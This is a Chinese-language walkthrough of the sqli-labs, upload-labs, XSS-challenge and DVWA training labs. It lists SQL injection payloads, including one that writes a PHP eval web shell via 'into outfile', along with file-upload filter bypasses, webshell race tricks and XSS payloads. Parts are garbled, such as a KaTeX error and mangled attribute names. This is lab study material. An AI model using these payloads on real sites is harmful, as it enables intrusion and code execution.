sqli_lab
1.有回显,字符型
2.有回显,数字型
3.有回显,’)
4.有回显,")
5.无回显,有报错,报错注入,字符’
6.无回显,有报错,报错注入,字符"
7.无回显,无报错,可文件上传,字符’)),上传一句话木马
​​​ http://localhost/sqli-labs-master/Less-7/​​ ?id=1%27)) union select 1,"<?php @eval($_REQUEST[1])?>",3 into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\1.php”–+



uname=1")and (“1”)=(“1&passwd=1”) and updatexml(1,concat(0x7e,version(),0x7e),1)–+&submit=Submit
13.
uname=1‘)and (’1‘)=(‘1 &passwd=1’) and updatexml(1,concat(0x7e,version(),0x7e),1)–+&submit=Submit
14.
有报错
uname=1‘“and ”’1‘“=”‘1 &passwd=1’“ and updatexml(1,concat(0x7e,version(),0x7e),1)–+&submit=Submit
15.
无回显,无报错,有bool状态,’
uname=1’ or 1=1&passwd= &submit=Submit
16.
无回显,无报错,有bool状态,“)
uname=1") or 1=1 &passwd= &submit=Submit
17.
重置密码
首先会判断用户名是否存在,并过滤
用户名存在会将密码带入
uname=admin&passwd=1’ or updatexml(1,concat(0x7e,database(),0x7e),1)–+
18.
用户名及密码都做了过滤,用户名及密码可以通过17关修改
登陆成功后可以看到user-agent和ip
insert into 表名 ()values ()值和字段数量一致
post:
POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: 192.168.43.153
User-Agent: 1’,1,updatexml(1,concat(0x7e,version(),0x7e),1))#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.43.153
Connection: close
Referer: http://192.168.43.153/sqli-labs-master/Less-18/
Upgrade-Insecure-Requests: 1

uname=admin&passwd=&submit=Submit
19.
图片: https://uploader.shimo.im/f/DgR9CWFNOfNzrczA.png
20.
基于cookie的注入
0X01抓包试探这里登陆的时候有两个包,抓取带有cookie的数据包
图片: https://uploader.shimo.im/f/pptl8mBCD5UrK1Fj.png
21.
基于cookie的注入
cookie做了base64编码
‘)
图片: https://uploader.shimo.im/f/rROkFbzV6UWuwLvE.png
22.
基于cookie的注入
cookie做了base64编码
’”
图片: https://uploader.shimo.im/f/OmmLgTQhA7XjHpu7.png
23.
使用正则过滤了注释符
有回显,有报错,‘单引号
图片: https://uploader.shimo.im/f/6SD9G22bAIs4FZ9d.png
图片: https://uploader.shimo.im/f/jZWw6Buj9xkrfGPh.png
24.
二阶注入
25.
黑名单or and /i/u不区分大小写,单引号注入
图片: https://uploader.shimo.im/f/sr4LWlE1Gnx09s8C.png
25a.
黑名单or and /i/u不区分大小写,数字注入
图片: https://uploader.shimo.im/f/HFW5NDJqz9aW0zWc.png
26.
使用正则
图片: https://uploader.shimo.im/f/FqMpxhm6jYdRafuI.png
双写可以绕过and
图片: https://uploader.shimo.im/f/xJXgkeBOai96acTH.png
26a.
关闭了报错
使用盲注,字符型注入‘)
图片: https://uploader.shimo.im/f/Tjg2su1taoLnaspX.png
27.
有回显,有报错,有bool类型状态,字符型注入’
过滤了union select图片: https://uploader.shimo.im/f/lcf0GlpxFrEUNGgf.png
图片: https://uploader.shimo.im/f/AItlj7jB8KMJB6GX.png
27a.
条件同27,无报错,字符型注入“,
%0a代替空格,union select大小写过滤不完全图片: https://uploader.shimo.im/f/5Cjs47JhTdUqRf1k.png
图片: https://uploader.shimo.im/f/bALAFlLjDMoGrLxL.png
28.
有回显,无报错,过滤union select,没有过滤单独的union和select可以使用双写绕过
空格使用%0d,%0a绕过
图片: https://uploader.shimo.im/f/QOpRuxMobycmYhG5.png
图片: https://uploader.shimo.im/f/RvrRPvC9ihQbzgEA.png
uploads-labs
1.
bp抓包判断为前端验证
js脚本中验证文件后缀名
解决方法:1.将.php加入其中 2.直接删除该判断事件
2.
mime验证
bp抓包修改http头部content-type字段绕过验证
图片: https://uploader.shimo.im/f/BojGeRf3h9ZadyG2.png
3.
图片: https://uploader.shimo.im/f/AuoTK0FyVc8OVebu.png
判断其为白名单验证
修改文件后缀为php3或php5等进行绕过
4.
.htaccess文件名后缀未限制
先上传.htaccess文件
<FilesMatch “one”>
SetHandler application/x-httpd-php

在上传木马,文件会被解析为php文件
5.
查看原码发现其未对大小写统一
缺少strtolower函数
上传1.phP即可绕过验证
6.
没有去掉两端的空格
缺少trim函数
上传1.php (空格)进行绕过
7.
未对点(.)号进行过滤
缺少deldot函数
上传1.php.利用windows特性会自动去掉.
8.
未对::靶场sqlilabs、fileuploadlabs、dvwa简单通关_phpDATA利用windows特性会将数据作为文件流来处理,不会检测后缀名,且保持之前的文件名
9.
采用黑名单过滤,路径拼接的是处理后的文件名,于是构造info.php. . (点+空格+点),经过处理后,文件名变成info.php.,即可绕过:
此方法使用2-8关
10.
对黑名单内容进行了替换
使用双写绕过
11.
get方式
看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过
特点:路径可控
12.
post方式:这是因为 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 (URL decode)进行截断。
burpsuite 修改 hex :1.repeater-hex改 2.右击convert selection-url-url decode解码
14.
16.
综合判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,绕过方法
上传图片吗文件头89504e47(正确文件头)
17.
这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,访问webshell。
首先在burp中不断发送上传webshell的数据包:
图片: https://uploader.shimo.im/f/sAotgiKgO9Oah1CQ.png
然后不断在浏览器中访问,发现通过竞争可以访问到
18.
条件竞争
19.
%00截断

xss通关挑战
2."><img οnmοuseοver=alert() src="
3.’ οnmοuseοver='alert()
4."οnmοuseοver=“alert()
5.”><a hREf=“javascript:alert()>a
7.” oonnmouseover="alert()
8.javasKaTeX parse error: Expected 'EOF', got '#' at position 1: #̲99;ript:alert()…#99;ript:alert(‘http://’)
10.url传参
"type=“button”%20οnclick="alert(5)
11.bp该referer
cilckme"type=“button”%20οnclick="alert(5)
12.
bp改ua

dvwa
sql注入
low:有回显,有报错,单引号注入
high:双页面,有回显,有报错,单引号注入